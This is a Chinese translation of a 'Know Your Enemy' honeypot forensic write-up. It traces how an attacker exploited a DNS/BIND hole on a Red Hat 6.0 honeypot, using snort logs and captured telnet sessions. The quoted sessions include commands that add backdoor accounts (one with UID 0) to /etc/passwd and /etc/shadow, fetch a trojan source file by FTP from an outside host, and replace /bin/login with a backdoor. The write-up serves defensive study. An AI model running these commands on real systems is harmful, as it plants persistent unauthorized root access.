翻译:Batman
by Lance Spitzner
Tue May 23 2000
lance@spitzner.net
本文是“了解你的敌人”系列中的续篇。前三篇文章中覆盖了黑客社团所使用的工具和
战术。这里我们将介绍
如何把前面文章里面介绍的方法集中起来,目的是为了让你能够掌握如何面队威胁你的
网络安全的入侵者们。
背景:
本文中所有相关的信息都是由我的honeypot(http://www.enteract.com/~lspitz/
honeypot.html)收集到的。在我的honeypot上默认安装的是Red Hat 6.0。按照默认安
装好后没有进行过其它附加的改动,所以在它上面存在的安全漏洞对于其它默认安装的
Red Hat 6.0系统也是存在的。同样,在下面文章中出现的所有数据都是没有修改过的。
所有的IP地址,用户帐号,包括所有的键盘输入都是真实的。为了保护系统的安全只有
密码数据被改动了,本文的目的就是为了更好的来理解黑客是如何思维和攻击的。 所有
的嗅探器格式都是使用了
snort格式。Snort是我使用的嗅探器和入侵检测系统,这是因为它的灵活性,兼容性和
免费软件的特点。这次入侵过程中黑客所有的行动都被snort记录下来了,同时我使用了
www.whitehats.com提供的入侵分析资料。你可以去那查询到我这里提到的所有详细技术
资料。当你在阅读本文的时候,可以注意到黑客使用了各种不同的操作系统,虽然本文
将这个黑客称呼为“她”,但是我们并不真正知道他的性别到底是什么。
关于这次攻击
在4月26日06:43时,snort向我报警,报告说现在我的系统中某一台服务器遭受到'n
oop'攻击。包含有noops 命令的包一般预示这是一次缓冲溢出攻击。在本次攻击中,
snort检测到这次攻击并且将攻击者的行动记录到/var/log/messages文件中(该文件由s
watch程序监视)。申明:在本文中,IP地址172.16.1.107是我的honeypot(就是被攻击
的服务器)的IP地址。而其它的IP地址都是黑客所使用的IP地址
Apr 26 06:43:05 lisa snort[6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.
16.1.107:53
虽然我的honeypots每天都会收到无数的扫描、探测、查询。但是,这条信息马上引
起了我的注意,因为它预示这系统已经受到威胁了。果然,还不到两分钟,系统日志就
告诉我入侵者已经连接上并且登录上了。
Apr 26 06:44:25 victim7 PAM_pwdb[12509]: (login) session opened for user twi
n by (uid=0)
Apr 26 06:44:36 victim7 PAM_pwdb[12521]: (su) session opened for user hantu
by twin(uid=506)
显然,入侵者已经得到了超级用户的访问权限,并且现在已经控制了系统。但是这
是怎么发生的了?下面我们将一步一步的说明她是如何干的。
攻击分析
在学习这次攻击最好的起点就是刚开始黑客是如何开始的。通常黑客做的第一件事
情就是收集信息,他们 需要先判断系统是否存在安全漏洞然后才能够进行攻击。如
果你的系统的安全受到威胁,通常表示黑客早 已经注意到你的系统了。所以,我们
开始做的第一件事情是,黑客到底收集到我们系统上的什么信息了。
注意上面的报警,攻击是针对53端口(DNS的BIND服务的)。所以我开始检查我的s
nort报警中和DNS扫描相关的信息。果然,我发现了一个来自与同一入侵主机的查询DNS
版本的扫描记录。
Apr 25 02:08:07 lisa snort[5875]: IDS277/DNS-version-query: 63.226.81.13:449
9 -> 172.16.1.107:53
Apr 25 02:08:07 lisa snort[5875]: IDS277/DNS-version-query: 63.226.81.13:463
0 -> 172.16.1.101:53
请注意扫描的日期,四月25日。而我们的系统是在四月26日被相同的主机攻击的。
我们的主机是在扫描后安全受到威胁的。所以我猜测这是由黑客在运行一个自动扫描工
具,该工具专门扫描已知的DNS安全漏洞。
当扫描结束后,这个黑客分析扫描结果,找出那些有安全漏洞的主机(包括我们的),
然后进行攻击。这些过程我们都已经在第一篇文章中介绍了,下面继续我们的分析。根
据我们的入侵检测软件分析,表明我们遭遇到一个熟知DNS漏洞的script kiddie(就是
那些只依赖工具进行攻击的黑客)的攻击了。但是攻击是如何进行的
了,下面让我们来进一步地分析。
进行攻击
类似与许多商业入侵检测系统,snort可以收集到所有IP的具体包内容。我们正是要
使用这个能力来分析这次攻击。攻击信息使用tcpdump二进制格式保存在snort的日志文
件中(译者注:也许有人会疑惑,为什么攻击者不把日志给毁掉了,其实作者已经在他
的第二篇文章中介绍了,他的日志是存放在另外一台机器上的,同时他还在他的局域网
中安装有sniffer--snort,所以这个黑客就是销毁了被他攻陷的主机上的日志,但是作
者还是完整的记录下她的一举一动了。)我从头到尾查询了我的snort日志,当然我也不
局限于只查找来自主机63.336.81.13的记录,因为攻击者很有可能要使用到其他的系统
。最终事实证明,我们的这个攻击者至少使用了
三种不同的系统来运行她的exploit程序。这个exploit的目的就是要获取到远程机器上
的root shell。一旦这个黑客得到了root shell,他们就能够执行任意的命令。最常见
的是在文件/etc/passwd和/etc/shadow中放置帐号。
下面就是这个黑客所执行的指令。当她一得到了root权限后,她就执行了下面的命令:
cd /; uname -a; pwd; id;
Linux apollo.uicmba.edu 2.2.5-15 #1 Mon Apr 19 22:21:09 EDT 1999 i586 unknow
n
/
echo "twin::506:506::/home/twin:/bin/bash" >> /etc/passwd
echo "twin:w3nT2H0b6AjM2:::::::" >> /etc/shadow
echo "hantu::0:0::/:/bin/bash" >> /etc/passwd
echo "hantu:w3nT2H0b6AjM2:::::::" >> /etc/shadow
我们的黑客运行了一些命令。首先,她要证实自己是在什么系统上(uname-a),然后
是当前在什么路径(pwd)接着是查询她的(id)。同时她还给系统增加了两个帐号,twin和
hant,并且这两个帐号都拥有相同的密码。请注意twin的UID为506但是hantu的帐号是U
ID为0 (题外话,hantu是指鬼的意思). 记住,大多数系统都是不允许UID为0的帐号使用
telnet进入系统的。所以她必须要创建另外的一个帐号进行远程访问,然后使用su命令
获取root权限。所以,我们的黑客运行了一个DNS攻击工具,获取到一个root shell,接
着马上就是插入两个帐号。接着在90秒内,她telnet进入系统获取了root访问权限,请
注意看日志中记录的时间。好了,下面她又该干什么拉呢?
Apr 26 06:43:05 lisa snort[6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.
16.1.107:53
Apr 26 06:44:25 victim7 PAM_pwdb[12509]: (login) session opened for user twi
n by (uid=0)
Apr 26 06:44:36 victim7 PAM_pwdb[12521]: (su) session opened for user hantu
by twin(uid=506)
获取访问权限
幸运的是,telnet是一个明文的协议,所有的数据都是不加密的。这意味着我们的
嗅探器能够跟踪和捕获到她的所有键盘输入。Snort已经为我们完成了这个工作,这也是
我为什么喜欢使用它的一个原因。通过分析由snort捕获到的telnet会话过程,我们可以
判断黑客在干什么。最让我高兴的是我不仅能够得到telnet会话的
STDIN (指键盘输入)同时还能够得到STDOUT和STDER。下面让我们来看看我们是怎么来识
别黑客的行动的。
首先,我们的黑客朋友使用twin帐号telnet上系统(来自213.28.22.189)然后使用
hantu获取到root权限。注意她不能够直接使用telnet以hantu帐号登录。
#' !"'!"# ' 9600,9600'VT5444VT5444
Red Hat Linux release 6.0 (Shedwig)
Kernel 2.2.5-15 on an i586
login: twin
Password: Password: hax0r
No directory /home/twin!
Logging in with home = "/".
[twin@apollo /]$ su hantu
Password: Password: hax0r
下面,我们的黑客朋友使用ftp连接到另外一个系统上去获取她的工具包。
[root@apollo /]# ftp 24.112.167.35
Connected to 24.112.167.35.
220 linux FTP server(Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999) ready
..
Name (24.112.167.35:twin): welek
331 Password required for welek.
Password:password
230 User welek logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> get bj.c
local: bj.c remote: bj.c
200 PORT command successful.
150 Opening BINARY mode data connection for bj.c (1010 bytes).
226 Transfer complete.
1010 bytes received in 0.115 secs (8.6 Kbytes/sec)
ftp> quit
221-You have transferred 1010 bytes in 1 files.
221-Total traffic for this session was 1421 bytes in 1 transfers.
221-Thank you for using the FTP service on linux.
221 Goodbye.
然后,她得到她的后门程序,编译了bj.c,把它安装和替换掉/sbin/login程序。注意所
有的在命令行方式下输入的命令。看上去这些编译命令都是通过“拷贝和粘贴”操作来
完成的。
[root@apollo /]# gcc -o login bj.cchown root:bin loginchmod 4555 loginchmod
u-w logincp /bin/login /usr/bin/xstatcp /bin/login /usr/bin/old rm /bin/logi
nchmod 555 /usr/bin/xstatchgrp bin /usr/bin/xstatmv login /bin/loginrm bj.cg
cc -o login bj.c
bj.c:16: unterminated string or character constant
bj.c:12: possible real start of unterminated constant
她试图来编译这个后门程序。
[root@apollo /]# chown root:bin login
chown: login: No such file or directory
[root@apollo /]# chmod 4555 login
chmod: login: No such file or directory
[root@apollo /]# chmod u-w login
chmod: login: No such file or directory
[root@apollo /]# cp /bin/login /usr/bin/xstat
[root@apollo /]# cp /bin/login /usr/bin/old
[root@apollo /]# rm /bin/login
[root@apollo /]# chmod 555 /usr/bin/xstat
[root@apollo /]# chgrp in /usr/bin/xstat
[root@apollo /]# mv login /bin/login
mv: login: No such file or directory
[root@apollo /]# rm bj.c
呵呵!但是她显然不能够让这个编译过程正确完成,所以她又重新尝试了一次。她重新
连接到ftp站点去下载后门程序。
[root@apollo /]# ftp 24.112.167.35
Connected to 24.112.167.35.
220 linux FTP server(Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999) ready
..
Name (24.112.167.35:twin):
[root@apollo /]# ftp 24.112.167.35
Connected to 24.112.167.35.
220 linux FTP server(Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999) ready
..
Name (24.112.167.35:twin): welek
331 Password required for welek.
Password:331 Password required for welek.
Password:password
230 User welek logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> get bj.c
qulocal: bj.c remote: bj.c
200 PORT command successful.
u150 Opening BINARY mode data connection for bj.c (1011 bytes).
226 Transfer complete.
1011 bytes received in 0.134 secs (7.3 Kbytes/sec)
ftp> itit
221-You have transferred 1011 bytes in 1 files.
221-Total traffic for this session was 1422 bytes in 1 transfers.
221-Thank you for using the FTP service on linux.
221 Goodbye.
这是她第二次试图编译她的后门程序。注意她还是使用了“拷贝和粘贴”方法。
[root@apollo /]# gcc -o login bj.cchown root:bin loginchmod 4555 loginchmod
u-w logincp /bin/login /usr/bin/xstatcp /bin/login /usr/bin/old rm /bin/logi
nchmod 555 /usr/bin/xstatchgrp bin /usr/bin/xstatmv login /bin/loginrm bj.cg
cc -o login bj.c
bj.c: In function `owned':
bj.c:16: warning: assignment makes pointer from integer without a cast
现在我们看到这次编译成功了。将原来的/bin/login拷贝到/usr/bin/xstat,然后使用
编译过的木马程序bj.c
替换掉了/bin/login程序。这是一个后门。这个木马允许任何人只要使用vt9111的TERM
就能够越权访问系统。
[root@apollo /]# chown root:bin login
[root@apollo /]# chmod 4555 login
[root@apollo /]# chmod u-w login
[root@apollo /]# cp /bin/login /usr/bin/xstat
cp: /bin/login: No such file or directory
[root@apollo /]# cp /bin/login /usr/bin/old
cp: /bin/login: No such file or directory
[root@apollo /]# rm /bin/login
rm: cannot remove `/bin/login': No such file or directory
[root@apollo /]# chmod 555 /usr/bin/xstat
[root@apollo /]# chgrp bin /usr/bin/xstat
[root@apollo /]# mv login /bin/login
现在她要掩盖她的所作所为。我相信她是在执行的一个脚本,并且使用“拷贝和粘贴”
其中的代码。请注意她执行的所有命令都是在同一行上。同样,我相信这是一个“通用
”的清扫脚本,因为我们注意到她甚至要删除一个不存在的文件 (例如/tmp/h).
[root@apollo /]# rm bj.c
[root@apollo /]#
[root@apollo /]# ps -aux
关键词:知道你的敌人:一次入侵过程的公开区分 《转》